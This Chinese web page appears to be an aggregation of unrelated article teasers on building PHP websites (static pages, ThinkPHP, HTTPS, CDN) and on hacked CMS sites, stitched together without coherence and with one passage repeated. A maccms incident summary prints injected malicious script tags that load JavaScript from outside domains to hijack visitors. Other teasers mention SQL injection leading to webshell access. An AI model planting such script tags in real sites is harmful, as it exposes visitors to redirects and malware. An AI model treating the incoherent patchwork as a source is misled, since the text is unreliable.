最近，我们公司的在线业务系统遇到了一个更为棘手的问题。该公司的网站在线商城系统遭到黑客的入侵，数据库中的用户数据被黑客盗取。由于大部分的客户信息的泄露，公司接到了客户投诉说是电话经常被骚扰，以及受到广告短信。由于缺乏专业的安全技术没有安全方面的经验，PHP系统仅限于功能的实现。看来我需要学习安全方面的一些防止SQL注入攻击的，所以我必须下定决心，努力学习网站的安全。通过不断的探索，我找到了一个比较好的PHP安全方面的书籍“PHP安全之路”。在阅读的过程中，我会把学到的东西记下来，以便将来可以进行学习回忆。
随着网站的内容的增多和用户访问量的增多，无可避免的是网站加载会越来越慢，受限于带宽和服务器同一时间的请求次数的限制，我们往往需要在此时对我们的网站进行代码优化和服务器配置的优化。 一般情况下会从以下方面来做优化 1、动态页面静态化 2、优化数据库 3、使用负载均衡 4、使用缓存 5、使用CDN加速 现在很多网站在建设的时候都要进行静态化的处理，为什么网站要进行静态化处理呢？我们都知道纯静态网站是所有的网页都是独立的一个html页面，当我们访问的时候不需要经过数据的处理直接就能读取到文件，访问速度就可想而知了，而其对于搜索引擎而言也是非常友好的一个方式。 纯静态网站在网站中是怎么实现的？ 纯静态的制作技术是需要先把网站的页面总结出来，分为多少个样式，然后把这些页面做成模板，生成的时候需要先读取源文件然后生成独立的以.html结尾的页面文件，所以说纯静态网站需要更大的空间，不过其实需要的空间也不会大多少的，尤其是对于中小型企业网站来说，从技术上来讲，大型网站想要全站实现纯静态化是比较困难的，生成的时间也太过于长了。不过中小型网站还是做成纯静态的比较，这样做的优点是很多的。 而动态网站又是怎么进行静态处理的？ 页面静态化是指将动态页面变成html/htm静态页面。动态页面一般由asp,php,jsp,.net等程序语言编写而成，非常便于管理。但是访问网页时还需要程序先处理一遍，所以导致访问速度相对较慢。而静态页面访问速度快，却又不便于管理。那么动态页面静态化即可以将两种页面的好处集中到一起。 静态处理后又给网站带来了哪些好处？ 1、静态页面相对于动态页面更容易被搜索引擎收录。 2、访问静态页面不需要经过程序处理，因此可以提高运行速度。 3、减轻服务器负担。 4、HTML页面不会受Asp相关漏洞的影响。 静态处理后的网站相对没有静态化处理的网站来讲还比较有安全性，因为静态网站是不会是黑客攻击的首选对象，因为黑客在不知道你后台系统的情况下，黑 客从前台的静态页面很难进行攻击。同时还具有一定的稳定性，比如数据库或者网站的程序出了问题，他不会干扰到静态处理后的页面，不会因为程序或数据影响而 打不开页面。 搜索引擎蜘蛛程序更喜欢这样的网址，也可以减轻蜘蛛程序的工作负担，虽然有的人会认为现在搜索引擎完全有能力去抓取和识别动态的网址，在这里还是建议大家能做成静态的尽量做成静态网址。 下面我们主要来讲一讲页面静态化这个概念，希望对你有所帮助！ 什么是HTML静态化
基于Struts2+hibernate+Mysql实现电子商城网站前后台系统，系统采用多层B/S软件架构，采用Java 编程语言开发技术实现针对网络商城网站前后端，前端实现商品在线展示，商品销售，用户注册登录，添加商品至购物车，购买下单，查看用户订单。系统后台提供管理员用户使用，提供商品管理，用户管理，订单管理等功能。
PHP使我们常用的一种脚本语言，其最大的特点就是编程效率高，能够支持产品的快速迭代，可与其他传统的编译语言相比，CPU和内存使用效率不高，但Facebook的HipHop项目的完成，预示着PHP语言将更加优化。
版权声明：本文为博主原创文章，未经博主允许不得转载。 https://blog.csdn.net/u011415782/article/details/81099770
客户网站前端时间被攻击，网站被劫持到了赌bo网站上去，通过朋友介绍找到我们SINESAFE做网站的安全防护，我们随即对客户网站进行了全面的渗透测试，包括了网站的漏洞检测与代码安全测试，针对于发现的漏洞进行了修复，包括网站安全部署等等方面，下面我们将这一次的安全应急处理过程分享给有需要的客户。
BossCMS是一款基于自主研发PHP框架+MySQL架构的内容管理系统，能够满足各类网站开发建设的需求。系统开源、安全、稳定、简洁、易开发、专注为中小型企业及政企单位、个人站长、广大开发者、建站公司提供一套简单好用的网站内容管理系统解决方案。官网提供了大量的网站模板，可以让您不需要任何的专业技术就能轻松搭建您的网站，易操作、易上手、快捷方便的后台操作让您10分钟就会建立自己的网站。
魏艾斯博客使用了腾讯云 CDN 很久了，老魏不是热爱折腾的人一般使用 CDN 默认设置。起初打开腾讯云 CDN 中间源配置的时候，遇到过后台无法打开的问题，相关文章请移步wordpress 网站使用腾讯云 CDN 加速不要开启中间源配置还有使用腾讯云 CDN 登录 WordPress 管理员后台显示:连接已重置，当初为了解决这里面的问题也是花了很多时间，后来发现都是那个中间源配置惹的祸，关闭之后就天下太平了。
有这样一个例子在thinkPHP视图页面执行一个给评论点赞的功能，为了强化用户体验，一般都采用ajax异步请求后台处理点赞数据，成功后页面执行局部更新后的数据即可。前台通常会用到jquery，通过执行jquery的ajax方法更加简单方便的完成任务请求。
常来魏艾斯博客的朋友都知道，老魏一直用的 http 协议，也有想法把 https 提到议程上来，总也不得时间。最近终于得了空赶紧规划一下，借机会把云服务器也重新做了系统，最后上了 https。整个过程比较繁琐，为了以后方便就写了流水账留着以后用，也希望这些内容对朋友们有用。
大家好，我是黄啊码，快接近五六月份，毕业季的来临，是否毕业设计还没着落呢？跟着黄啊码一起来做个php商城吧，讲课前先给大家看个图，这是市面上比较常用微商城脑图：
ThinkPHP是一款优秀的PHP开发框架，它简单易用，功能完备。它是一款MVC设计模式的框架，具备ORM和MVC等众多特性，并且具有良好的扩展性和可维护性。本篇文章将介绍使用ThinkPHP框架进行建站的两种方法。
相对于普通网站，php网站拥有强大的脚本语言，性能稳定，网速更快，无论从开发者的角度还是使用者的角度都更为实用，另外php网站构架简单，容易入门，容易搭建，对企业来说能够降低搭建成本，提高业务效率，服务器如何搭建php网站？流程是什么？
常来魏艾斯博客的朋友都知道，老魏一直用的 http 协议，也有想法把 https 提到议程上来，总也不得时间。最近终于得了空赶紧规划一下，借机会把云服务器也重新做了系统，最后上了 https。整个过程比较繁琐，为了以后方便就写了流水账留着以后用，也希望这些内容对朋友们有用。 备份网站文件和数据库，这个没啥好说的，再稳定的主机也要定期备份，一切折腾的根源都是因为我有备份啊。新手不会备份没关系，看下面的相关文章： BackUpWordPress 插件定时备份网站和数据库 lnmp 如何备份网站文件和数据库 本文
开发网站的常用软件是种类繁多的，PHP 就是其中之一。同时搭建一个服务器可以运行php 也是一步重要的操作。在进行任何的网站操作之前，熟悉地了解各项网站搭建技术是非常有必要的。php是一门编程语言，执行环境是在服务器端。它的使用非常灵活，已经应用到了很多不同系统的服务当中。php网站服务器建设的方法是什么呢？
2020年刚开始，苹果CMS被爆出数据库代码执行漏洞，大量的电影网站被挂马，尤其电影的页面被篡改植入了恶意代码，数据库中的VOD表里的d_name被全部修改，导致网站打开后直接跳转到S站或者弹窗广告，目前该maccms漏洞受影响的苹果系统版本是V8,V10，很多客户网站被反复篡改，很无奈，通过朋友介绍找到我们SINE安全寻求技术上支持，防止网站被挂马。根据客户的反应，服务器采用的是linux centos系统，苹果CMS版本是最新的V10版本，我们立即成立网站安全应急响应处理，帮助客户解决网站被攻击的问题。
近期许多网民跟我说为何出現系统漏洞的网站程序全是PHP开发设计的，而非常少有JAVA和Python的渗透案例，先不用说python，就PHP和Java谈一谈。在这以前，先何不记牢那么一个依据（眼底下也无需担心它对吗）：PHP网站系统漏洞类型多但不繁杂，Java网站系统漏洞则反过来。
当下，各种黑客工具包，安全工具包随处都是，使得网络攻击成本大大降低，随便一个小白，找个工具，一通乱扫，都能轻松入侵一台安全防护不高的服务器。
博主第一次建设网站是在前年的夏天，第一次买域名是在前年的12月份 博主第一次买的域名是top，在美橙互联买的 当初博主什么都不懂，不知道建网站需要空间，以为建设一个简单的网站只需要域名就行 事实证明，建设任何一个网站都需要域名和空间…… 以下为正文=w= ---- 1. 域名 建设一个网站，首先你得有一个域名。一个好的域名，可以让更多人记住，同时，域名越短，记住的人越多，比如腾讯的域名qq.com，很容易记住 2. 服务器 服务器是建设网站缺一不可的，但若是资金不多，可以试试Web空间。如果是个人网
互联网技术总在不断进步，新技术和新软件也会来带更多功能，就以最常见的个人博客系统，也在不断推陈出新，发掘出更多功能和特色。从早期少量自定义和编辑功能，发展到现在的支持各种自定义模块和外观，以及更多更全的支持软件适配（包括php程序、数据库程序等）。今天，笔者就为大家介绍，如何在Ubuntu系统上部署新版Inis博客系统，并使用cpolar创建的内网穿透数据隧道，将Inis博客网站发布到公共互联网上。
最近一直在刷这个cms的漏洞，主要是为了让自己维持一点代码量，不至于生疏，好久没有都没有大块的时间做安全了，和自己的精力有关，也和自己的心态有关，不管怎样，还是要抽时间维持一下自己的爱好，日子不能过的太爽，分析别人已经发出来的CVE，同时也是给自己找点事情做。 每个CMS都有自己的传值的方式，tp5系列远程代码执行漏洞也是这样出来的，metinfo的漏洞主要和它的变量覆盖有关。 同时也说说自己的漏洞观点，没有一个系统是安全的，如果是，只不过漏洞还没有被挖掘出来。 和以前一样的节奏，如果只是想复现一下这个漏洞，直接看漏洞的利用方式，漏洞的细节不用看。 以下是历史版本和最新版本的下载地址：
公司的官方网站从春节前无缘无故就出现连接数据库异常的现象，由于以前也出现过，再加上没多久逢年过节，也就没有太在乎这个情况，仅仅试着重新启动了网站数据库。逢年过节的时候我发现了有一些不太对，网站数据库只有一打开没多久就宕掉。检查服务器里的资源，发现服务器的内存被占满，CPU达到百分之100就连远程连接都越来越巨慢至极，因此开展对该网站被攻击的问题解决。
苹果CMS漏洞是越来越多了，国内很多电影网站都使用的是maccms V10 V8版本，就在2020年初该maccms漏洞爆发了，目前极少数的攻击者掌握了该EXP POC，受该BUG的影响，百分之80的电影站都被攻击了，很多电影站的站长找到我们SINE安全来解决网站被挂马的问题，通过分析我们发现大部分客户网站在数据库中都被插入了挂马代码，<script src=https://lefengtv.com/js/tjj.js></script><script src=https://pkvod.com/1.js</script>，尤其电影片名d_name值被直接篡改，并且是批量挂马，导致用户打开网站访问直接弹窗广告并跳转。
在PHP的开发工作中，对API接口开发不会陌生，后端人员写好接口后，前台就可以通过链接获取接口提供的数据，而返回的数据一般分为两种情况，xml和json, 在这个过程中，服务器并不知道，请求的来源是什么，有可能是别人非法调用我们的接口，获取数据，因此就要使用安全验证来屏蔽某些调用。
在网站安全的日常安全检测当中，我们SINE安全公司发现网站的逻辑漏洞占比也是很高的，前段时间某酒店网站被爆出存在高危的逻辑漏洞，该漏洞导致酒店的几亿客户的信息遭泄露，包括手机号，姓名，地址都被泄露，后续带来的损失很大，最近几年用户信息泄露的事件时有发生，给很多企业，酒店都上了一堂生动的安全课。关于网站逻辑漏洞的总结，今天跟大家详细讲解一下。
在日常开发中，我们经常会需要一些常用的资源，虽然很容易找到，但是有时候却发现又不是那么好找。子勰把一些常用的工具整理了一下，发表在这里，供大家参考，同时也备忘方便自己使用。 几个超级酷炫的前端模板 N
网站也可以理解为web应用程序，只不过无需用户下载，只要有网络，随时随地都能访问。
网站搬家可以分为两种情况，比方说用原来的域名换个服务器，或者用原来的服务器换个域名！
某一客户单位的网站首页被篡改，并收到网监的通知说是网站有漏洞，接到上级部门的信息安全整改通报，贵单位网站被植入木马文件，导致网站首页篡改跳转到caipiao网站，根据中华人民共和国计算机信息系统安全保护条例以及信息安全等级保护管理办法的规定，请贵单位尽快对网站漏洞进行修复，核实网站发生的实际安全问题，对发生的问题进行全面的整改与处理，避免网站事态扩大。我们SINE安全公司第一时间应急响应处理，对客户的网站进行安全检测，消除网站安全隐患。
这两天由于谷歌字体反代域名（fonts.maho.cc）出现了一些问题，使得网站前端长期卡在加载字体CSS文件上，导致网站响应速度飙到了15秒+，这是一个亟待解决的问题。
最近几天一直很头疼，因为鸟云服务器免费使用的活动，所以自己注册了一个帐号，领取了主机一枚，接下来干什么呢？当然是折腾了。之前用了linux的wdcp面板的操作，感觉还是挺顺手的，之前写过如何在阿里云、腾讯云、小鸟云安装wdcp图文教程，那么这次当然就不再用linux了，申请的鸟云配置：CPU : 4核，内存 : 4G，带宽 : 5M，还是不错的。
该培训中提及的技术只适用于合法CTF比赛和有合法授权的渗透测试，请勿用于其他非法用途，如用作其他非法用途与本文作者无关
没有修改插件，也没修改主题，正在更新文章，同一主机的别的wordpress网站都正常运行，突然就出现”Fatal error: Uncaught TypeError: Cannot access offset of type string on string in”致命错误，出现这个错误时，网站前台能访问，但不能进wp后台。我不能完全明了出现此问题的原因，但今天已解决好此错误，于是记录一下解决之法。
提示404问题一般是网站路径下不存在文件、文件权限问题，其次伪静态设置问题导致。 可根据下方思路进行排查：
代码审计（Code audit）是一种以发现程序错误，安全漏洞和违反程序规范为目标的源代码分析。软件代码审计是对编程项目中源代码的全面分析，旨在发现错误，安全漏洞或违反编程约定。它是防御性编程范例的一个组成部分，它试图在软件发布之前减少错误。C和C ++源代码是最常见的审计代码，因为许多高级语言（如Python）具有较少的潜在易受攻击的功能（例如，不检查边界的函数）。
之所以叫做简易优化指南，是因为emlog网站程序本身并不支持多么复杂的优化手段，比如说尽管5.0.0版实现了首页的网页标题和浏览器标题（也即title）分开设置，但栏目页和作者页还是老样子网页标题和浏览器标题只能一起弄。此外还有缺少二级分类支持啦、无法单独提取置顶和带图文章啦——修改数据库之类的主意就免了吧，可以的话咱尽量只动模板，实在不行稍微改动一下程序文件就够了。
部署PHP网站源码通常需要以下步骤。请注意，具体的步骤可能会因为使用的Web服务器（如Apache、Nginx）和数据库（如MySQL、PostgreSQL）的不同而有所变化。
老蒋当初是出于准备搭建一个收藏优秀个人博客、实用在线工具的目的，然后就利用ZBLOG PHP程序简单制作了一个网站目录主题，后来发现常去的网站也就那么几个，觉得用途也不大，于是将这个目录程序升级拓展到有内页功能，这样可以用于简单的分类目录网站需要。
这段时间在看PHP代码审计相关知识，国内有不少CMS都是基于ThinkPHP开发的，因此了解ThinkPHP的开发思路更容易理解这类CMS的代码
thinkphp在国内来说，很多站长以及平台都在使用这套开源的系统来建站，为什么会这么深受大家的喜欢，第一开源，便捷，高效，生成静态化html，第二框架性的易于开发php架构，很多第三方的插件以及第三方的开发公司较多，模板可以自定义设计，在thinkphp的基础上可以开发很多大型的虚拟币平台，以及会员平台，商城系统，thinkPHP的官方在系统升级方面做的比较完善，及时更新与修复一些BUG。
Thinkphp是一个国产老牌的php开发框架，最初开始于2006年，在07年的时候更名为Thinkphp，在今年由开源中国主办的“2018 年度最受欢迎中国开源软件评选”，荣获开源开发框架榜单的第一位，thinkphp支持windows、linux、unix等系统，PHP要求5.6版本及以上，遵循apache2开源协议，采用MVC模式，即M：model层-数据库操作层，V：view层-视图层，C：控制器层-应用层，过多的就不多说了，从今天开始带领大家做一个企业网站。
phpdisk是目前互联网最大的网盘开源系统，采用PHP语言开发，mysql数据库架构，我们SINE安全在对其网站安全检测以及网站漏洞检测的同时，发现该网盘系统存在严重的sql注入攻击漏洞，危害性较高，可以直接获取网站的管理员账号密码，利用默认后台地址登录，可以直接获取webshell权限。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
即时通信 IM
实时音视频
